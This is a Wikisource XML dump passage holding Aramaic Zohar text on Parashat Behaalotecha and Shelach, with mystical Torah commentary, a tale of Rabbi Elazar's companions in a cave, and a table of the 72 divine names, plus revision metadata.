א&quot;ר יהודה אמר קב&quot;ה מאן דבעי למהך בתר דחלתי יהך בתר לבא דא ובתר עיינין דקיימין עלה. מאן אינון עיינין כמה דאת אמר {{צ|עיני יהוה אל צדיקים}} אבל אתם {{צ|לא תתורו אחרי לבבכם ואחרי עיניכם}}. מ&quot;ט &lt;קטע סוף=דף קעה ב/&gt;

 
{{ממ זהר משולב|ג|קעו|א}}&lt;קטע התחלה=דף קעו א/&gt;בגין דאתם זונים אחריהם. אמר רבי חייא מאי טעמא הכא יציאת מצרים דכתיב אשר הוצאתי אתכם מארץ מצרים אלא בגין דכד נפקו ממצרים בהאי חולקא עאל ובהאי קטיל קב&quot;ה קטולא דמצרים ועל דא באתריה אתדכר ובאתריה אזדהר להו בדא. מאי באתריה בגין דהאי מצוה היא אתר דילה. תאני ר' ייסא כתיב {{צ|כימי צאתך מארץ מצרים אראנו נפלאות}}. {{צ|כימי}} - &quot;כיום&quot; מבעי ליה דהא בחד זמנא נפקו ולא אתעכבו!? אלא כאינון יומין עלאין דאתברכא בהו כנסת ישראל כך זמין קב&quot;ה לאפקא להו ישראל מן גלותא וכדין כתיב  {{צ|ואמרתם ביום ההוא הודו ליהוה קראו וגו' זמרו יהוה כי גאות עשה מודעת זאת בכל הארץ}}. מאי {{צ|מודעת זאת}}? בגין דהשתא אשתמודעא זאת בעטופא דמצוה בההוא זמנא אשתמודעא זאת בכמה נמוסין דילה דיעביד קב&quot;ה אתין ונסין בעלמא כדין כתיב {{צ|ביום ההוא יהיה יהוה אחד ושמו אחד}}. 

'''ברוך יהוה לעולם אמן ואמן. ימלוך יהוה לעולם אמן ואמן''': &lt;קטע סוף=דף קעו א/&gt;

==פרשת שלח לך - רעיא מהימנא==
{{להשלים}}


--------------</text>
      <sha1>7g0il2hzuuy145dehxpb4cazodbljxt</sha1>
    </revision>
    <revision>
      <id>3020715</id>
      <parentid>3020713</parentid>
      <timestamp>2026-06-18T23:45:19Z</timestamp>
      <contributor>
        <username>Roxette5</username>
        <id>5159</id>
      </contributor>
      <comment>/* קטע זמני */  לעילוי נשמת יחיאל מיכל אהרן בן שלמה יהודה</comment>
      <origin>3020715</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="298933" sha1="0u4wltwhw3y0yyzzatfjdoykvgwcmu5" xml:space="preserve">{{סרגל ניווט|זוהר||חלק כה|חלק כו|חלק כז}}
__TOC__
==פרשת בהעלותך - זהר==
{{ממ זהר משולב|ג|קמח|ב}}{{ש}}
&lt;קטע התחלה=דף קמח ב/&gt;'''{{צ|וידבר יהוה אל משה לאמר דבר אל אהרן ואמרת אליו בהעלותך את הנרות וגו'}} {{הפניה לפסוקים|במדבר|ח|א|ב}}''' {{ש}}
רבי יהודה פתח {{צ|והוא כחתן יוצא מחופתו וגו'}} {{ממ|תהלים|יט|ו}} - זכאה חולקיהון דישראל דקב&quot;ה אתרעי בהון ויהב להון אורייתא דקשוט, אילנא דחיי דביה ירית בר נש חיין להאי עלמא וחיין לעלמא דאתי. דכל מאן דאשתדל באורייתא ואחיד בה - אחיד בחיין, וכל מאן דשביק מלי דאורייתא ואתפרש מאורייתא - כאלו מתפרש מחיין. בגין דהיא חיין וכל מלוי חיין. הדא הוא דכתיב {{צ|כי חיים הם וגו'}} {{ממ|משלי|ד|כב}}. וכתיב {{צ|רפאות תהי לשרך וגו'}} {{ממ|משלי|ג|ח}}. 

תא חזי אילנא דחיי אחיד מעילא לתתא. והאי שמשא דנהיר לכלא - נהורא דיליה שארי מרישא, ואתפשט בגופא דאילנא בארח מישר. תרין סטרין אחידן ביה - חד לצפון וחד לדרום. חד ימינא וחד שמאלא.

בשעתא דשמשא נהיר כמה דאתמר מההוא גופא דאילנא - אתקיף לדרועא דימינא ואנהיר בתוקפיה. ומתוקפיה נהיר שמאלא ואתכליל בנהוריה. 

{{צ|והוא כחתן יוצא מחפתו}} - מאן איהו {{צ|חפתו}}? דא איהו {{צ|עטרה שעטרה לו אמו ביום חתנתו}} {{ממ|שיר|ג|יא}}.{{ש}} 
{{צ|יוצא מחפתו}} - דא איהו רישא דכל נהורא, כמה דאת אמר בקרא דאבתריה - {{צ|מקצה השמים מוצאו}} {{ממ|תהלים|יט|ז}}. דא שירותא דכלא דאקרי {{צ|מקצה השמים}}, וכדין נפיק כחתן ממש כד נפיק לאערעא לכלתיה רחימתא דנפשוי ופריש דרועוי ומקבל לה. כהאי גוונא {{צ|והוא כחתן יוצא מחפתו}} - אזלא שמשא ואתפשט לגבי מערב. 

כיון דמערב אתקריב, סטר צפון אתער לקבליה בקדמיתא, וקריב למערב וזויג לה{{הערה|הכי גריס הרמק (המתוק מדבש)}} באתריה כמה דאתמר, דכתיב {{צ|שמאלו תחת לראשי}} {{ממ|שיר|ח|ג}}. ולבתר סטר דרום דאיהו ימינא דכתיב {{צ|וימינו תחבקני}}. כדין {{צ|ישיש כגבור לרוץ ארח}} - לאנהרא סיהרא ואוקמוה. 


תא חזי '''{{צ|בהעלותך את הנרות}}''' - אלין בוצינין עלאין דכלהו נהירין כחדא מן שמשא. '''(חסר כאן)'''
{{להשלים}} 


ר' אבא פתח: {{צ|אשרי העם יודעי תרועה יהוה באור פניך יהלכון}} {{ממ|תהלים|פט|טז}}. {{ש}}
האי קרא אוקמוה, אבל תא חזי זכאין אינון ישראל! &lt;קטע סוף=דף קמח ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קמט|א}}{{ש}}&lt;קטע התחלה=דף קמט א/&gt; דקב&quot;ה יהב לון אורייתא קדישא, ואוליף לון ארחוי לאתדבקא ביה ולמיטר פקודי דאורייתא למזכי בהו לעלמא דאתי, וקריב להו בשעתא דנפקו ממצרים - דהא כדין אפיק לון מרשותא אחרא וסליק לון לאתאחדא בשמיה. וכדין אקרון בני ישראל 'בני חורין' מכלא - דלא יתבו תחות רשותא אחרא, וסליק לון לאחדא בשמיה דסליק על כלא דשליט על עלאין ותתאין. 

ומגו רחימותא דלהון קרא לון {{צ|בני בכורי ישראל}} כגוונא  עלאה. ועל דא קטל  כל בכור דלעילא ותתא, ושרא קטירין ואסירין דעלאין ותתאין, בגין לאפקא לון ועבד לון בני חורין מכלא. ועל דא לא בעא קב&quot;ה לא מלאך ולא שרף אלא איהו. ועוד דהא איהו ידע לאבחנא ולמנדע כלא ולמשרי אסירין. ולאו אינון ברשותא דשליחא אחרא אלא בידיה. 

תא חזי בההוא ליליא דבעא קב&quot;ה לקטלא כל אינון בכורי כמה דאתמר, בשעתא דרמש ליליא אתו מזמרין לזמרא קמיה. אמר לון &quot;''לאו עידן הוא! דהא שירתא אחרא מזמרין בני בארעא!''&quot;. 

בשעתא דאתפליג ליליא - אתער רוח צפון, וקב&quot;ה כדין עבד נוקמין  וישראל מזמרין ואמרין הלילא בקול רם, וכדין עבד לון בני חורין מכלא. ומלאכין עלאי וכל משריין כלהו הוו צייתין להון לקליהון דישראל. בתר דאתגזרו - רשימו לבתיהון מההוא דמא ומדמא דפסחא, בתלת רשימין - על המשקוף ועל שתי המזוזות. מאי טעמא? הא אוקמוה בגין דאיהו רשימא קדישא, ומחבלא כד איהו נפיק וחמי ההוא דמא דהוה רשים על ההוא פתחא -- חייס עלייהו דישראל. הדא הוא דכתיב {{צ|ופסח יהוה על הפתח וגו'}} {{ממ|שמות|יב|כג}}. 

הכא אית לאסתכלא. אי קודשא בריך הוא אתי וקטיל בארעא דמצרים ולא שליח אחרא - רשימא דא דעל פתחא למה? והא כלא גלי קמיה!? {{ש}}
ותו  מהו {{צ|ולא יתן המשחית}}?! &quot;ולא ישחית&quot; מבעי ליה?! {{ש}}
אלא ודאי הכי הוא דכתיב {{צ|ויהו&quot;ה הכה כל בכור}} {{ממ|שמות|יב|כט}} - {{צ|ויהו&quot;ה - הוא ובית דינו}}. וההוא בי דינא הכא אשתכח. 

מכאן דבכלא בעי לאחזאה עובדא בגין לאשתזבא! דהא כגוונא דא על גבי מדבחא בגין דלא אשתכח מחבלא. האי בעובדא. ובזמנא דלא אצטריך האי - כגון ראש השנה דאיהו יומא דדינא ומאריהון דלישנא בישא קיימין עלייהו דישראל - בעינן מלין צלותין ובעותין ובעינן לאחזאה עובדא כמה דאוקימנא והא אתמר. ובמה? בשופר,  לאתערא שופרא אחרא. ואנן מפיקין בההוא קלא רחמי ודינא כחדא, כלא כדקא יאות, כמה דההוא שופר עלאה אפיק קלא דאיהו כללא כחדא. ולאתערא רחמי קאזלינן, ולתברא מאריהון דדינא דלא ישלטון בהאי יומא. {{ש}}
וכד רחמי מתערין - כלהו בוצינין עלאין נהרין מהאי גיסא ומהאי גיסא. כדין {{צ|באור פני מלך חיים}} {{ממ|משלי|טז|טו}}. 

תא חזי בשעתא דכהנא  אתכוון לאדלקא בוצינין לתתא והוה קריב קטורת בוסמין - בההוא שעתא כדין בוצינין עלאין נהרין ואתקטר כלא כחדא, וחדו וחדוותא אשתכח בכלהו עלמין. הדא הוא דכתיב {{צ|שמן וקטורת ישמח לב}} {{ממ|משלי|כז|ט}}. {{ש}}
ועל דא '''{{צ|בהעלותך את הנרות}}'''.


'''רבי אלעזר ור' יוסי ור' יצחק''' הוו אזלי באורחא. {{ש}}
פגעו באינון טורי קרדו. {{ש}}
עד דהוו אזלי - זקף עינוי ר' אלעזר וחמי אינון טורי רמאי, והוו חשוכן ודחלן בדחילו. {{ש}}
א&quot;ר אלעזר לאינון חברייא: &quot;''אלו אבא הכא - לא הוה דחילנא! אבל כיון דאנן תלתא ומלי דאורייתא ביננא - דינא הכא לא אשתכח!''&quot; 

פתח ר' אלעזר ואמר: כתיב {{צ|ותנח התיבה בחדש השביעי וגו' על הרי אררט וגו'}} {{ממ|בראשית|ח|ד}}. {{ש}}
כמה חביבין מלי דאורייתא! דבכל מלה ומלה אית רזין עלאין ואורייתא כלא עלאה איקרי! ותנינן בתליסר מכילן דאורייתא {{צ|כל דבר שהיה בכלל ויצא מן הכלל ללמד - לא ללמד על עצמו יצא - אלא ללמד על הכלל כלו יצא}}. &lt;קטע סוף=דף קמט א/&gt;{{ש}}
{{ממ זהר משולב|ג|קמט|ב}}{{ש}}
&lt;קטע התחלה=דף קמט ב/&gt;דהא אורייתא דאיהי כללא עלאה - אע&quot;ג דנפק מנה חד ספור בעלמא - ודאי לא אתי לאחזאה על ההוא ספור, אלא לאחזאה מלין עלאין ורזין עלאין! ולא ללמד על עצמו יצא - אלא ללמד על הכלל כלו יצא! בגין דההוא ספור דאורייתא או ההוא עובדא - אע&quot;ג דהוא נפקא מכללא דאורייתא - לאו לאחזאה על גרמיה נפק בלבד, אלא לאחזאה על ההוא כללא עלאה דאורייתא כלא נפק! 

כגון האי דכתיב {{צ|ותנח התיבה בחדש השביעי בשבעה עשר יום לחדש על הרי אררט}}. ודאי האי קרא מכללא דאורייתא נפק ואתי בספור דעלמא! מאי אכפת לן אי שרי בהאי או בהאי - דהא באתר חד לישרי?! אלא ללמד על הכלל כלו יצא! וזכאין אינון ישראל דאתיהיב להו אורייתא עלאה אורייתא דקשוט! ומאן דאמר דההוא ספורא דאורייתא לאחזאה על ההוא ספור בלבד קאתי - תיפח רוחיה! דאי הכי לאו איהי אורייתא עלאה אורייתא דקשוט. אלא ודאי אורייתא קדישא עלאה איהי אורייתא דקשוט. 

תא חזי מלך בשר ודם לאו יקרא דיליה הוא לאשתעי מלה דהדיוטא - כל שכן למכתב ליה. ואי סליק בדעתך דמלכא עלאה קב&quot;ה לא הוו ליה מלין קדישין למכתב ולמעבד מנייהו אורייתא, אלא דאיהו כניש כל מלין דהדיוטין כגון מלין דעשו, מלין דהגר, מלין דלבן ביעקב, מלין דאתון, מלין דבלעם, מלין דבלק, מלין דזמרי - וכניש להו וכל שאר ספורין דכתיבין ועביד מנייהו אורייתא. אי הכי אמאי אקרי 'תורת אמת' - {{צ|תורת יהוה תמימה. עדות יהוה נאמנה. פקודי יהוה ישרים. מצות יהוה ברה. יראת יהוה טהורה. משפטי יהוה אמת}}?! וכתיב {{צ|הנחמדים מזהב ומפז רב}} - אלין אינון מלי דאורייתא! {{ש}}
אלא ודאי אורייתא קדישא עלאה איהו אורייתא דקשוט, {{צ|תורת יהוה תמימה}}, וכל מלה ומלה אתייא לאחזאה מלין  עלאין. דההוא מלה דההוא ספור לאו לאחזאה על גרמיה בלבד קא אתיא - אלא לאחזאה על ההוא כללא קאתי כמה דאוקימנא. 

תא חזי {{צ|ותנח התיבה וגו'}}. האי קרא כך  איהו והא אתמר. בשעתא דדינא תלי על עלמא ודינין שריין, וקב&quot;ה יתיב על כורסייא דדינא למידן עלמא בההוא כורסייא - כמה רשימין אתרשימו ביה! כמה פיתקין גניזין בגויה! בגו אחמתא דמלכא כלהו ספרים דפתיחו תמן אתגניזו. ובגין כך לא אתנשי מלה מן מלכא. והאי כורסייא לא אתקן ולא שריא אלא ב{{צ|חדש השביעי}} דאיהו יומא דדינא, יומא דכל בני עלמא אתפקדון ביה. כלהו עברין קמי ההוא כרסייא.{{ש}}
ועל דא {{צ|ותנח התבה בחדש השביעי}} - בחדש השביעי ודאי! דאיהו דינא דעלמא. 

{{צ|על הרי אררט}} - אלין  מאריהון דדינין, מאריהון דיבבא ויללא.  דכלהו שכיחין בההוא יומא קמי קב&quot;ה. וכמה מארי תריסין אתערו בהאי יומא, וכלהו קיימי תחות ההוא כרסייא בדינא דעלמא. וישראל מצלאן צלותא בההוא יומא ובעאן ומתחננן קמיה, ותקעין בשופר, וקב&quot;ה חייס עלייהו ומהפך דינא לרחמי. וכל עלאי ותתאי פתחי ואמרי {{צ|אשרי העם יודעי תרועה}}. 

ועל דא בעינא בההוא יומא דההוא דתקע דידע עקרא דמלה, ויכוון ביה בתרועה ויעביד מלה בחכמתא. ועל דא כתיב {{צ|אשרי העם '''יודעי''' תרועה}} ולא כתיב &quot;תוקעי תרועה&quot;. והא אתמר. 


אזלו כל ההוא יומא. {{ש}}
כד רמש ליליא סליקו לחד אתר ואשכחו חד מערתא. {{ש}}
אמר רבי אלעזר &quot;''ליעול חד גו מערתא  אי אשתכח אתר דאיהו יתיר מתתקן''&quot;.{{ש}} 
עאל ר' יוסי וחמא מערתא אחרא בגויה, נהורא דשרגא ביה. {{ש}}
שמע חד קלא דהוה אמר '''{{צ|בהעלותך את הנרות אל מול פני המנורה יאירו שבעת הנרות}} {{ממ|במדבר|ח|ב}}''' - ''הכא נטלא כנסת ישראל נהורא.''&lt;קטע סוף=דף קמט ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנ|א}}{{ש}}
&lt;קטע התחלה=דף קנ א/&gt;''ואמא עלאה מתעטרא, וכלהו בוצינין מינה נהרין. בה תרין טופסירין דקיקין פרחין. שושבינין  כלהו קטרין לגבי עלאה ומתמן לתתא''. 

שמע ר' יוסי וחדי. {{ש}}
אתא לגבי ר' אלעזר. {{ש}}
אמר ליה ר' אלעזר: &quot;''ניעול! דקב&quot;ה אקדים לן האי יומא לאתרחשא לן בנסין''&quot;. {{ש}}
עאלו. {{ש}}
כיון דעאלו חמו תרין בני נשא דהוו לעאן באורייתא. {{ש}}
אמר רבי אלעזר {{צ|מה יקר חסדך אלהים ובני אדם בצל כנפיך יחסיון}}! {{ממ|תהלים|לו|ח}} {{ש}}
קמו אלין ויתבי כלהו וחדו כלהו. {{ש}}
אמר רבי אלעזר: {{צ|מה יקר חסדך אלהים}} דאשכחנא לכו! חסד עבד לן קב&quot;ה באתר דא! השתא אדליקו בוצינין! 


פתח רבי יוסי ואמר: '''{{צ|בהעלותך את הנרות}}''' - {{צ|בהעלותך}} ממש! באדלקותך! דהא כחדא אתעביד על ידא דכהנא תרין פולחנין דאינון קשורא חדא. ומאן אינון? שמן וקטרת, כדכתיב {{צ|שמן וקטרת ישַמח לב}} {{ממ|משלי|כז|ט}} דכתיב {{צ|והקטיר עליו אהרן קטרת סמים בבקר בבקר בהיטיבו את הנרת יקטירנה}} {{ממ|שמות|ל|ז}}, וכתיב {{צ|ובהעלות אהרן את הנרות בין הערבים יקטירנה}} {{ממ|שמות|ל|ח}}. {{ש}}
מאי שנא הכא {{צ|בהטיבו}} ומאי שנא התם {{צ|ובהעלות}}? 

* אמר ר' יהודה: כלא חד מלה! 

* רבי יוסי אמר: {{צ|בהטיבו}} - כמה דאת אמר {{צ|כי טובים דודיך מיין}} {{ממ|שיר|א|ב}}. {{צ|טובים}} - רווי חמרא, כמה דאת אמר {{צ|ונשבע לחם ונהיה טובים}} {{ממ|ירמיהו|מד|יז}}. 

* ר' יהודה אמר: הטבה ממש! כמה דאת אמר {{צ|וטוב לב משתה תמיד}} {{ממ|משלי|טו|טו}}.  {{צ|ובהעלות}} - דהא בזמנא דאתשקיין ואתרוויין משקיו דנחלא - כדין עלאין עלוין וברכן  אשתכחו בכלהו וחדו בכלא. ועל דא {{צ|ובהעלות}}. 

* רבי אחא אמר: בשעתא דעמיקא דכלא נהיר  - נהיר בנחלא. ונחלא נגיד  בארח מישר לאשקאה כלא. כדין כתיב  {{צ|בהטיבו}}, בגין דהא מעומקא דכלא נפקי. {{צ|בהעלות}} - דאתי מסטרא עלאה דעמיקא  דכלא דאקרי 'מחשבה'. וכלא חד מלה! וכדין כנסת ישראל אתברכא, וברכאן אשתכחי בכלהו עלמין.


רבי יצחק פתח: כתיב {{צ|בנה בניתי בית זבול לך מכון לשבתך עולמים}} {{ממ|מ&quot;א|ח|יג}}. {{ש}}
{{צ|בית זבול}} - בית זבול ודאי! כד אתפקדו בידהא כל גנזי מלכא ושלטא בהו - כדין אקרי {{צ|בית זבול}}. ורקיע חד אית דאקרי {{צ|זבול}} - דהא דא אשכח לקבלא ברכאן ולסדרא כלא. והאי אקרי {{צ|בית זבול}}. 

תא חזי כתיב {{צ|ולזבולן אמר שמח זבולן בצאתך ויששכר באהלך}} {{ממ|דברים|לג|יח}} - מלמד דאשתתפו כחדא; דא נפיק ואגח קרבא, ודא יתיב ולעי באורייתא. ודא יהיב חולקא לדא, ודא יהיב חולקא לדא. 

בחולקיה דזבולון ימא, וכנסת ישראל אקרי {{צ|ים כנרת}}. והכי אתחזי בגין דהא תכלת נפיק מתמן ואוקמוה. דהא לתתא כגוונא דלעילא; ים כנרת לעילא, ים כנרת לתתא. תכלת לעילא, תכלת לתתא. וכלא באתר חד! ועל דא ירית זבולון למיפק לאגחא קרבא. ומנלן דהכי הוא? דכתיב {{צ|עמים הר יקראו שם יזבחו זבחי צדק}} {{ממ|דברים|לג|יט}}. {{צ|זבחי צדק}} ודאי! מאי טעמא? {{צ|כי שפע ימים יינקו}}. 

ויששכר חולקיה באורייתא, ויהיב לזבולון חולקא דאורייתא ודאי. ועל דא אשתתפו כחדא לאתברכא זבולון מיששכר - דברכתא דאורייתא היא ברכתא דכלא. 

ר' אבא אמר אחסנתא דאורייתא ודאי הכי הוא! ודרגא דא שתיתאה יהיב אגר  אורייתא ואחסין לה לכנסת ישראל. אחסין חוורא לתכלתא. ועל דא תנינן {{צ|משיכיר בין תכלת ללבן}}. דישתמודען גווני. דהא כדין אקרי '''בקר''', וחוורא אתי לעלמא ותכלתא אתעבר. ועל דא כל קרבין דמלכא וכל זייני מלכא בידהא אתמנן. והא אוקימנא. 


{{קטן|'''(חסר תחלת המאמר. ועיין [[זהר חלק ג רפו א|פרשה וילך רפו א]])'''}}{{ש}} 
{{צ|באר חפרוה שרים כרוה נדיבי העם}} {{ממ|במדבר|כא|יח}}. {{ש}}
{{צ|באר}} - דא כנסת ישראל. {{צ|חפרוה שרים}} - דא אבא ואמא דאולידו לה. {{צ|כרוה נדיבי העם}} - אלין אבהן דכתיב {{צ|נדיבי עמים נאספו עם אלהי אברהם וגו'}}. &lt;קטע סוף=דף קנ א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנ|ב}}{{ש}}
&lt;קטע התחלה=דף קנ ב/&gt;בגין לאתברכא מנהון על ידא דדרגא חד. ומנו? צדיק דקאים עלה. ועל דא אמרינן כד האי באר נטלא - בסיועא דאבהן נטלא! 

ואקרי {{צ|'''באר'''}} ואקרי {{צ|'''ים'''}}. {{ש}}
אקרי {{צ|'''באר'''}} - בשעתא דיצחק נפק מזיינא מסטרא דאימא ואתי לאמשכא אבתרא דדא, ומלי לה. כדין אקרי 'באר דיצחק' 'באר דמרים'. והא אוקמוה.{{ש}} 
{{צ|'''ים'''}} - כד אתנהרא מנהרא עלאה דאבא - כדין אקרי 'ים' דנחלין אזלן לגווה, כמה דאת אמר {{צ|כל הנחלים הולכים אל הים והים איננו מלא}} {{ממ|קהלת|א|ז}}. ומיומא דגלתה כנסת ישראל בגלותא כתיב {{צ|אזלו מים מני ים}} {{ממ|איוב|יד|יא}} - דא כנסת ישראל. {{צ|ונהר יחרב ויבש}} - דא צדיק. ועל דא כתיב {{צ|הצדיק אבד וגו'}} {{ממ|ישעיה|נז|א}} - דהוא הוה נהר עלאה ויקירא דעייל בגווה. והוא כניש כל אינון נהרין ונחלין דנגדין מנגידו דההוא נהר קדישא דלא פסקין מימוי לעלמין, דנגיד ונפיק מעדן עלאה, והוא עייל בגווה ומלי אגמהא. ומתמן ירתין עלמין כלהו  ברכן בכלא. 

תא חזי בשעתא דאתברכא כנסת ישראל - עלמין כלהו אתברכן! וישראל לתתא ינקין ומתברכן בגינה. והא אוקימנא. דהיא אגנא עלייהו דישראל כמה דאתמר. 


כתיב {{צ|ויסע מלאך האלהים ההלך לפני מחנה ישראל וילך מאחריהם ויסע עמוד הענן מפניהם ויעמד מאחריהם}} {{ממ|שמות|יד|יט}}. {{ש}}
{{צ|מלאך האלהים}} - דא כנסת ישראל, והא אוקימנא. דההיא שעתא בסיועא דאבהן נטלא, וכד אינון משתכחין לגבה - כלא משתכחי. ובגין כך אתמסר באלין קראי שמא קדישא דכליל בהון אבהתא כמה דאוקימנא. חד קרא כסדרא, וחד למפרע, וחד כסדרא. 

* {{צ|ויסע מלאך האלהים ההולך וגו'}} - דא כסדרא בגין דאברהם אשתכח הכא, וכל אינון דאתו מסטריה. ועל דא איהו כסדרא כגוונא דא:
[[קובץ:ויסע טבלה.PNG||300px|]]
: '''{{קטן|(אמר המגיה כאן מצאתי כתוב פסוק ויסע כסדר כל אות ואות בבית אחד במרובע עם זה הלשון ותמצאם כולם בסוף חלק שני)}}'''

הכא אתעטר אברהם בעטרוי ואעטר לה לכנסת ישראל. ואלין אתוון כלהו בארח מישר למיהך ביממא דכתיב {{צ|יומם יצוה יהוה חסדו ובלילה שירה עמי}} {{ממ|תהלים|מב|ט}}. ועל דא כתיב {{צ|ויסע}}. אימתי נטלין במטלנייהו? הוי אימא ביממא כד נהיר שמשא. {{ש}}
ודא חד קרא דאיהו בשבעין ותרין אתוון. 


תניינא דיצחק הכי נמי דאשתכח בע&quot;ב אתוון לאשתכחא בדינא לגבי מצראי, ולגבי ישראל ברחמי. ועל דא כתיב {{צ|ויבא בין מחנה מצרים ובין מחנה ישראל}} {{ממ|שמות|יד|כ}} - לקביל אלין ולקביל אלין. {{צ|ויהי הענן והחשך}} - דהכי הוא. יומא דיצחק דעיבא הוי. עננא וחשוכא מניה הוא. ובגין כך סדורא דאתוון למפרע  ולא בארח מישר, כגוונא דא:
[[קובץ:ויבא טבלה.PNG||300px|]]
: '''{{קטן|(כאן מצאתי כתוב פסוק ויבא למפרע כל אות ואות בבית אחד במרובע עם זה הלשון)}}'''

ועל דא אתוון כלהו למפרע דכתיב {{צ|ויהי הענן והחשך}}, דכיון דעאל יצחק בדינוי - {{צ|לא קרב זה אל זה}} כתיב. {{צ|זה אל זה}} - אינון דאתו מסטרא דאברתם - לא קריבו דא בדא! דהא לא יכלין! בגין דהאי באר אתדבקא ביצחק כמה דאת אמר {{צ|ויאר את הלילה}} - דכד אתמלייא לאתחברא  ביצחק לא קרב זה אל זה ולא יכיל לקרבא. 

עד דאתא יעקב ואתחבר באברהם, ונטל ליצחק ושארי ליה באמצעיתא. כדין אתקשר מהימנותא דא בדא ודא בדא ואשתזיבו ישראל. {{ש}}
ותנינן באתר דאבהתא אשתכחי - שאר צדיקייא משתכחי גבייהו. ועל דא שמא דא סליק לסטרין אחרנין מתפרשן, אע&quot;ג דכלהו נפקין לארחא חד. 

כד נהרא האי '''באר''' מסטרא דיצחק ואתקשר ביה - אתעביד ימא רבא תקיפא, וגלגלין תקיפין סליקין ונחתין בזעף ורוגזא בתקיפו. &lt;קטע סוף=דף קנ ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנא|א}}{{ש}}&lt;קטע התחלה=דף קנא א/&gt;נטיל לעילא. סליק ונחית לתתא. אברהם אתי  לקבליה. ומגו רוגזא וזעפא וחימתא ותקיפו - זה אל זה  לא הוו מתקרבין. עד דאתא יעקב ושכיך רוגזא ומאיך ותבר גלגלי ימא. הדא הוא דכתיב {{צ|ויט משה את ידו על הים ויולך יהוה את הים ברוח קדים עזה וגו'}} {{ממ|שמות|יד|כא}}. מאי {{צ|ברוח קדים עזה}}? דא רוח יעקב! {{צ|עזה}} - תקיף לקבליה לתברא רוגזא דהאי ימא. {{צ|וישם את הים לחרבה ויבקעו המים}} -  אריק ימא מימי רוגזין, ואתפליגו מיא לסטרא דאברהם ולסטרא דיעקב. הדא הוא דכתיב {{צ|ויבקעו המים}} - לסטרא דא ולסטרא דא. ועל דא אתוון כלהו בארח מישר כדקא יאות.

[[קובץ:ויט טבלה.PNG||300px|]]
: '''{{קטן|(כאן היה כתוב פסוק ויט כסדר כל אות ואות בבית אחד במרובע עם זה הלשון)}}'''

אלין אתוון בארח מישר בסטר דיעקב, וכל אינון דאתו מסטריה. וכד אתא יעקב אתחבר באברהם, ונטל ליצחק ושארי ליה באמצעיתא - כדין אתקשר מהימנותא; דא בדא ודא בדא. ועל דא עובדא כתקונא דשמא קדישא בזווגא דאבהן אשתמודע דאיהו קשורא חד, קשורא מהימנא, למהוי רתיכא שלימתא. ובזווגא דאבהן כחדא אתעביד כלא. 

וידעין חברייא למיהך בארח מישר לאתקנא עובדין כדקא יאות. ובשמא דא קשורא דאבהן אשתכחן אורחין לדינא ולרחמי. לסיוע. לחסד. לדחילו. לאורייתא. לחיי. למותא. לטב. לביש. זכאין אינון צדיקייא דידעין אורחוי דאורייתא וידעין למיהך באורחוי דמלכא קדישא! זכאין אינון בעלמא דין ובעלמא דאתי!

[[קובץ:עב שמות טבלה.PNG||400px|]]

{| class=&quot;wikitable&quot;
|+ טבלת ויקיטקסט ממוספרת עם חישוב גימטריא
|-
| 1. {{גמט|והו}} || 2. {{גמט|ילי}} || 3. {{גמט|סיט}} || 4. {{גמט|עלם}} || 5. {{גמט|מהש}} || 6.  {{גמט|ללה}} || 7. {{גמט|אכא}} || 8. {{גמט|כהת}}
|-
| 9. {{גמט|הזי}} || 10. {{גמט|אלד}} || 11. {{גמט|לאו}} || 12. {{גמט|ההע}} || 13. {{גמט|יזל}} || 14.  {{גמט|מבה}} || 15. {{גמט|הרי}} || 16. {{גמט|הקם}}
|-
| 17.  {{גמט|לאו}} || 18. {{גמט|כלי}} || 19. {{גמט|לוו}} || 20. {{גמט|פהל}} || 21. {{גמט|נלך}} || 22. {{גמט|ייי}} || 23. {{גמט|מלה}} || 24. {{גמט|חהו}}
|-
| 25. {{גמט|נתה}} || 26. {{גמט|האא}} || 27. {{גמט|ירת}} || 28. {{גמט|שאה}} || 29. {{גמט|ריי}} || 30. {{גמט|אום}} || 31. {{גמט|לכב}} || 32. {{גמט|ושר}}
|-
| 33. {{גמט|יחו}} || 34. {{גמט|להח}} || 35. {{גמט|כוק}} || 36. {{גמט|מנד}} || 37. {{גמט|אני}} || 38. {{גמט|חעם}} || 39. {{גמט|רהע}} || 40. {{גמט|ייז}}
|-
| 41. {{גמט|ההה}} || 42. {{גמט|מיכ}} || 43. {{גמט|וול}} || 44. {{גמט|ילה}} || 45. {{גמט|סאל}} || 46. {{גמט|ערי}} || 47. {{גמט|עשל}} || 48. {{גמט|מיה}}
|-
| 49. {{גמט|והו}} || 50. {{גמט|דני}} || 51. {{גמט|החש}} ||  52. {{גמט|עמם}} || 53. {{גמט|ננא}} || 54. {{גמט|נית}} || 55. {{גמט|מבה}} || 56. {{גמט|פוי}}
|-
|  57. {{גמט|נמם}} || 58. {{גמט|ייל}} || 59.  {{גמט|הרח}} || 60. {{גמט|מצר}} || 61. {{גמט|ומב}} || 62.  {{גמט|יהה}} || 63. {{גמט|ענו}} || 64. {{גמט|מחי}}
|-
| 65. {{גמט|דמב}} || 66. {{גמט|מנק}} || 67. {{גמט|איע}} || 68. {{גמט|חבו}} || 69. {{גמט|ראה}} || 70. {{גמט|יבמ}} || 71. {{גמט|היי}} || 72. {{גמט|מום}}
|}

: {{קטן|(וכאן מצאתי הע&quot;ב שמות היוצאים מג' פסוקים אלו במרובע. כל שם ושם מג' אותיות בבית אחד. י&quot;שר ה&quot;פוך י&quot;שר - וסימניך '''יהי''' אור. ולא הדפסתי אותו מפני יקר תפארת קדושתו)}}


הא אבהן במטלנין בעובדין בקשורין דמתקשרי דא בדא. וכד מתחברן כחדא - לית מאן דיקום קמייהו! {{ש}}
ותנינן באתר דאבהתא אשתכחו - שאר צדיקייא משתכחי גבייהו. ועל דא שמא דא סליק לסטרין אחרנין מתפרשן, אע&quot;ג דכלהו נפקין לארחא חד.


{{קטן|'''[כאן שייך גרסינן שבעה וכו' שבסוף הספר סימן ח']''' }}{{הערה|העתקתי את הטקסט של סימן ח' לכאן במהדורה זו - ויקיעורך}}

{{גדול|'''['''}} שבעה יומין עלאין ברא קב&quot;ה בעלמא ועלייהו שתיל ובני עלמין. הדא הוא דכתיב {{צ|כי ששת ימים עשה יהוה}} {{ממ|שמות|לא|יז}} {{ממ|שמות|כ|י}} - ולא כתיב &quot;בששת&quot;. {{ש}}
